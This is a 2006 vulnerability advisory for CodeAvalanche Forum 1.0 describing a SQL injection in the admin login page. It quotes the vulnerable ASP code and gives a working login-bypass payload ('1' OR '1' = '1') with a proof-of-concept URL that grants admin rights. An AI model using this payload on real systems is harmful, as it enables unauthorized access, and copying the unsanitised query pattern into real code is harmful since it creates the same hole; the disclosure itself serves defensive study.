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CA Forum Remote SQL Injection Jun 01 2006 05:09PM
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- CAForum 1.0 Remote SQL Injection -

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-= CodeAvalanche Forum Version 1.0 =-

Omnipresent

june 01, 2006

Vunerability(s):

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SQL Injection

Product:

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CodeAvalanche Forum Version 1.0

Vendor:

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http://www.truecontent.info/codeavalanche/asp-forum-script.php

Description of product:

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CodeAvalanche FreeForum is asp forum application which allows free posting, there is no needs for registration of your

visitors. Administrator can add unlimited number of forum categories.

Vulnerability / Exploit:

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In the file default.asp in Admin directory is vulnerable to an Remote SQL Injection Attack.

A malicious people can gain Admin rights by putting rights parameters in the Password Variable.

Let's Check the source code:

<% Response.Buffer = True

userLogged=false

If Request("Password")<>"" Then

'response.Write(Request("Password"))

'response.flush

dim rsUser,selectSQL

selectSQL="SELECT * FROM PARAMS where PASSWORD='" & Request("Password") & "'"

[...]

[End default.asp]

As you can see the variable Password is not properly sanitized before be used, so an attacker can put this string in the

password field:

1' OR '1' = '1

So, the query will be:

selectSQL="SELECT * FROM PARAMS where PASSWORD='1' OR '1' = '1'

And you can gain access to the application with admin rights.

PoC / Proof of Concept of SQL Injection:

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This is a simple Proof Of Concept used on my local machine:

http://127.0.0.1/[Application_Path]/[CAForum]/admin/default.asp?password
=1'%20OR%20'1'%20=%20'1

Vendor Status

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Not informed!

Credits:

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omnipresent

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